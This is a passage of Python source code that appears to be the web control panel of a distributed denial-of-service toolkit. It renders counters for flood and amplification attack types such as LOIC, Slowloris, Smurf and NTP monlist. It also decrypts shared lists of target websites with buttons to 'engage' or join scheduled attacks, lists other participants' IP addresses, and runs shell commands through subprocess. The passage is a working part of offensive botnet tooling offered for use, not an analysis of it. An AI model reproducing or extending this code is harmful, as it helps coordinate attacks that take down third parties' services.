  6934. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  6935. grid_table += "</table><br>"
  6936. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  6937. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
  6938. f.write(mother_table)
  6939. f.write(grid_table)
  6940. f.write(end_mark)
  6941. f.close()
  6942. else: # not valid stream data
  6943. pass
  6944. if page == "/cmd_decrypt_grid_update":
  6945. if not os.path.exists('/tmp/out'):
  6946. open('/tmp/out', 'w').close()
  6947. with open('/tmp/out', 'r') as f:
  6948. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  6949. if page == "/cmd_decrypt_wargames":
  6950. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  6951. wargames_join_flag = False # anti-join flag for non decrypted wargames
  6952. try:
  6953. wargames_deckey = pGet["wargames_deckey"]
  6954. except:
  6955. wargames_deckey = ""
  6956. end_mark = "[Info] [AI] End of decryption."
  6957. if wargames_deckey is not "": # wargames decryption
  6958. nodec_text = "KEY?"
  6959. try: # read global army supply from configuration file (json)
  6960. with open(self.mothership_supplycfg_file) as data_file:
  6961. data = json.load(data_file)
  6962. except:
  6963. if os.path.exists(self.mothership_supplycfg_file) == True:
  6964. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  6965. return
  6966. else: # generate default global army supply configuration file
  6967. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  6968. with open(self.mothership_supplycfg_file, "w") as f:
  6969. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  6970. with open(self.mothership_supplycfg_file) as data_file:
  6971. data = json.load(data_file)
  6972. self.supply_botnet = data["botnet"]
  6973. self.supply_loic = data["loic"]
  6974. self.supply_loris = data["loris"]
  6975. self.supply_ufosyn = data["ufosyn"]
  6976. self.supply_spray = data["spray"]
  6977. self.supply_smurf = data["smurf"]
  6978. self.supply_xmas = data["xmas"]
  6979. self.supply_nuke = data["nuke"]
  6980. self.supply_tachyon = data["tachyon"]
  6981. self.supply_monlist = data["monlist"]
  6982. self.supply_fraggle = data["fraggle"]
  6983. self.supply_sniper = data["sniper"]
  6984. self.supply_ufoack = data["ufoack"]
  6985. self.supply_uforst = data["uforst"]
  6986. self.supply_droper = data["droper"]
  6987. self.supply_overlap = data["overlap"]
  6988. self.supply_pinger = data["pinger"]
  6989. self.supply_ufoudp = data["ufoudp"]
  6990. f = open(self.wargames_file,"r")
  6991. ls = f.readlines()
  6992. f.close()
  6993. if ls:
  6994. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  6995. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  6996. else:
  6997. wargames_autopanel = ""
  6998. wargames_supply = ""
  6999. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  7000. f = open("/tmp/out", "w")
  7001. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  7002. wargames_id = 1
  7003. for m in self.list_wargames_rev: # list = creation, target, estimated
  7004. if wargames_msg_sep in m:
  7005. m = m.split(wargames_msg_sep)
  7006. wargames_creation = m[0] # creation date
  7007. self.decrypt(wargames_deckey, wargames_creation)
  7008. if self.decryptedtext:
  7009. wargames_creation = self.decryptedtext
  7010. else:
  7011. wargames_creation = nodec_text
  7012. self.decryptedtext = "" # clean decryptedtext buffer
  7013. wargames_target = m[1] # target
  7014. wargames_target_joined = wargames_target
  7015. self.decrypt(wargames_deckey, wargames_target)
  7016. if self.decryptedtext:
  7017. wargames_target = self.decryptedtext
  7018. if wargames_target.startswith("www."):
  7019. wargames_target = wargames_target.replace("www.","")
  7020. else:
  7021. wargames_target = nodec_text
  7022. self.decryptedtext = "" # clean decryptedtext buffer
  7023. wargames_estimated = m[2] # estimated time
  7024. self.decrypt(wargames_deckey, wargames_estimated)
  7025. if self.decryptedtext:
  7026. wargames_estimated = self.decryptedtext
  7027. wargames_join_flag = True
  7028. else:
  7029. wargames_estimated = nodec_text
  7030. self.decryptedtext = "" # clean decryptedtext buffer
  7031. else:
  7032. wargames_target = "KEY?"
  7033. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  7034. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  7035. try:
  7036. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  7037. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  7038. except: # discarding errors also on panel
  7039. wargames_creation = now
  7040. wargames_estimated = now
  7041. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  7042. wargames_creation = now
  7043. wargames_estimated = now
  7044. if (now >= wargames_estimated) == False: # change flag color when time is out
  7045. time_now = time.mktime(now)
  7046. time_estimated = time.mktime(wargames_estimated)
  7047. wargames_eta = (time_estimated - time_now)
  7048. hours, rem = divmod(wargames_eta, 3600)
  7049. minutes, seconds = divmod(rem, 60)
  7050. if "!!!" in wargames_target_joined:
  7051. status = "JOINED!"
  7052. wargames_status = "<font color='cyan'>"+status+"</font>"
  7053. if wargames_join_flag == True:
  7054. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  7055. else:
  7056. wargames_join = "KEY?" # present but with a different crypto-key
  7057. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7058. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7059. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  7060. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7061. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  7062. else:
  7063. status = "-ONGOING-"
  7064. wargames_status = "<font color='orange'>"+status+"</font>"
  7065. if wargames_join_flag == True:
  7066. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  7067. else:
  7068. wargames_join = "KEY?" # present but with a different crypto-key
  7069. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7070. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7071. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  7072. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7073. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  7074. else:
  7075. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7076. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  7077. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7078. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  7079. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  7080. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  7081. status = "-CLOSED-"
  7082. wargames_status = "<font color='red'>"+status+"</font>"
  7083. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  7084. wargames_id = wargames_id + 1
  7085. wargames_table += "</table><br>"
  7086. f.write(wargames_table)
  7087. f.write(end_mark)
  7088. f.close()
  7089. if page == "/cmd_decrypt_wargames_update":
  7090. if not os.path.exists('/tmp/out'):
  7091. open('/tmp/out', 'w').close()
  7092. with open('/tmp/out', 'r') as f:
  7093. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  7094. if page == "/cmd_decrypt_links":
  7095. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  7096. try:
  7097. link_deckey = pGet["link_deckey"]
  7098. except:
  7099. link_deckey = ""
  7100. end_mark = "[Info] [AI] End of decryption."
  7101. if link_deckey is not "": # links decryption
  7102. nodec_text = "KEY?"
  7103. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  7104. f = open("/tmp/out", "w")
  7105. self.list_links_rev = reversed(self.list_links) # order by DESC
  7106. for m in self.list_links_rev: # list = creation, topic, url
  7107. if links_msg_sep in m:
  7108. m = m.split(links_msg_sep)
  7109. link_creation = m[0] # creation date
  7110. self.decrypt(link_deckey, link_creation)
  7111. if self.decryptedtext:
  7112. link_creation = self.decryptedtext
  7113. else:
  7114. link_creation = nodec_text
  7115. self.decryptedtext = "" # clean decryptedtext buffer
  7116. link_url = m[1] # url
  7117. self.decrypt(link_deckey, link_url)
  7118. if self.decryptedtext:
  7119. link_url = self.decryptedtext
  7120. if link_url.startswith("www."):
  7121. link_url = link_url.replace("www.","")
  7122. else:
  7123. link_url = nodec_text
  7124. self.decryptedtext = "" # clean decryptedtext buffer
  7125. link_topic = m[2] # topic
  7126. self.decrypt(link_deckey, link_topic)
  7127. if self.decryptedtext:
  7128. link_topic = self.decryptedtext
  7129. else:
  7130. link_topic = nodec_text
  7131. self.decryptedtext = "" # clean decryptedtext buffer
  7132. else:
  7133. link_url = "KEY?"
  7134. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  7135. links_table += "</table><br>"
  7136. f.write(links_table)
  7137. f.write(end_mark)
  7138. f.close()
  7139. if page == "/cmd_decrypt_links_update":
  7140. if not os.path.exists('/tmp/out'):
  7141. open('/tmp/out', 'w').close()
  7142. with open('/tmp/out', 'r') as f:
  7143. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  7144. if page == "/cmd_decrypt_streams":
  7145. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  7146. try:
  7147. stream_deckey = pGet["stream_deckey"]
  7148. except:
  7149. stream_deckey = ""
  7150. end_mark = "[Info] [AI] End of decryption."
  7151. if stream_deckey is not "": # streams decryption
  7152. nodec_text = "KEY?"
  7153. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  7154. f = open("/tmp/out", "w")
  7155. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  7156. stream_num = 0
  7157. for m in self.list_streams_rev: # list = creation, topic, url
  7158. if streams_msg_sep in m:
  7159. m = m.split(streams_msg_sep)
  7160. stream_creation = m[0] # creation date
  7161. self.decrypt(stream_deckey, stream_creation)
  7162. if self.decryptedtext:
  7163. stream_creation = self.decryptedtext
  7164. else:
  7165. stream_creation = nodec_text
  7166. self.decryptedtext = "" # clean decryptedtext buffer
  7167. stream_url = m[1] # url
  7168. self.decrypt(stream_deckey, stream_url)
  7169. if self.decryptedtext:
  7170. stream_url = self.decryptedtext
  7171. if stream_url.startswith("www."):
  7172. stream_url = stream_url.replace("www.","")
  7173. else:
  7174. stream_url = nodec_text
  7175. self.decryptedtext = "" # clean decryptedtext buffer
  7176. stream_topic = m[2] # topic
  7177. self.decrypt(stream_deckey, stream_topic)
  7178. if self.decryptedtext:
  7179. stream_topic = self.decryptedtext
  7180. else:
  7181. stream_topic = nodec_text
  7182. self.decryptedtext = "" # clean decryptedtext buffer
  7183. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  7184. stream_num = stream_num + 1
  7185. else:
  7186. stream_url = "KEY?"
  7187. stream_id = None
  7188. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  7189. streams_table += "</table><br>"
  7190. f.write(streams_table)
  7191. f.write(end_mark)
  7192. f.close()
  7193. if page == "/cmd_decrypt_streams_update":
  7194. if not os.path.exists('/tmp/out'):
  7195. open('/tmp/out', 'w').close()
  7196. with open('/tmp/out', 'r') as f:
  7197. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  7198. if page == "/cmd_decrypt_globalnet":
  7199. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  7200. try:
  7201. globalnet_deckey = pGet["globalnet_deckey"]
  7202. except:
  7203. globalnet_deckey = ""
  7204. end_mark = "[Info] [AI] End of decryption."
  7205. if globalnet_deckey is not "": # globalnet decryption
  7206. nodec_text = "KEY?"
  7207. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  7208. f = open("/tmp/out", "w")
  7209. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  7210. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  7211. if globalnet_msg_sep in m:
  7212. m = m.split(globalnet_msg_sep)
  7213. globalnet_owner = m[0] # owner
  7214. self.decrypt(globalnet_deckey, globalnet_owner)
  7215. if self.decryptedtext:
  7216. globalnet_owner = self.decryptedtext
  7217. else:
  7218. globalnet_owner = nodec_text
  7219. self.decryptedtext = "" # clean decryptedtext buffer
  7220. globalnet_comment = m[1] # comment
  7221. self.decrypt(globalnet_deckey, globalnet_comment)
  7222. if self.decryptedtext:
  7223. globalnet_comment = self.decryptedtext
  7224. else:
  7225. globalnet_comment = nodec_text
  7226. self.decryptedtext = "" # clean decryptedtext buffer
  7227. globalnet_warp = m[2] # warp
  7228. self.decrypt(globalnet_deckey, globalnet_warp)
  7229. if self.decryptedtext:
  7230. globalnet_warp = self.decryptedtext
  7231. else:
  7232. globalnet_warp = nodec_text
  7233. if globalnet_warp == "OFF":
  7234. warp_color = "pink"
  7235. elif globalnet_warp == "ON1":
  7236. warp_color = "orange"
  7237. else: # ON2
  7238. warp_color = "blue"
  7239. self.decryptedtext = "" # clean decryptedtext buffer
  7240. globalnet_ip = m[3] # ip
  7241. self.decrypt(globalnet_deckey, globalnet_ip)
  7242. if self.decryptedtext:
  7243. globalnet_ip = self.decryptedtext
  7244. else:
  7245. globalnet_ip = nodec_text
  7246. self.decryptedtext = "" # clean decryptedtext buffer
  7247. else:
  7248. globalnet_owner = "KEY?"
  7249. globalnet_comment = "KEY?"
  7250. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  7251. globalnet_table += "</table><br>"
  7252. f.write(globalnet_table)
  7253. f.write(end_mark)
  7254. f.close()
  7255. if page == "/cmd_decrypt_globalnet_update":
  7256. if not os.path.exists('/tmp/out'):
  7257. open('/tmp/out', 'w').close()
  7258. with open('/tmp/out', 'r') as f:
  7259. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  7260. if page == "/blackholes":
  7261. self.pages["/blackholes"] = self.html_blackholes()
  7262. if page == "/requests":
  7263. if pGet=={}:
  7264. self.pages["/requests"] = self.html_requests()
  7265. else:
  7266. self.save_cfg(pGet)
  7267. self.pages["/requests"] = self.html_request_submit()
  7268. if page == "/abduction":
  7269. self.pages["/abduction"] = self.html_abduction()
  7270. if page == "/stats":
  7271. self.pages["/stats"] = self.html_stats()
  7272. if page == "/wormhole":
  7273. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  7274. ctype = "text/html"
  7275. if page.find(".js") != -1:
  7276. ctype = "application/javascript"
  7277. elif page.find(".txt") != -1:
  7278. ctype = "text/plain"
  7279. elif page.find(".ico") != -1:
  7280. ctype = "image/x-icon"
  7281. elif page.find(".png") != -1:
  7282. ctype = "image/png"
  7283. elif page.find(".css") != -1:
  7284. ctype = "text/css"
  7285. if page in self.pages:
  7286. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  7287. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  7288. class Command(object):
  7289. def __init__(self, cmd):
  7290. self.cmd = cmd
  7291. self.process = None
  7292. def run(self, timeout):
  7293. def target():
  7294. self.process = subprocess.Popen(self.cmd, shell=True)
  7295. thread = threading.Thread(target=target)
  7296. thread.start()
  7297. thread.join(timeout)
  7298. if thread.is_alive():
  7299. self.process.terminate()
  7300. thread.join()
  7301. if __name__ == "__main__":
  7302. webbrowser.open('http://127.0.0.1:9999', new=1)
  7303. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7304. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7305. tcpsock.bind((host, port))
  7306. while True:
  7307. tcpsock.listen(4)
  7308. (clientsock, (ip, c_port)) = tcpsock.accept()
  7309. newthread = ClientThread(ip, c_port, clientsock)
  7310. newthread.start()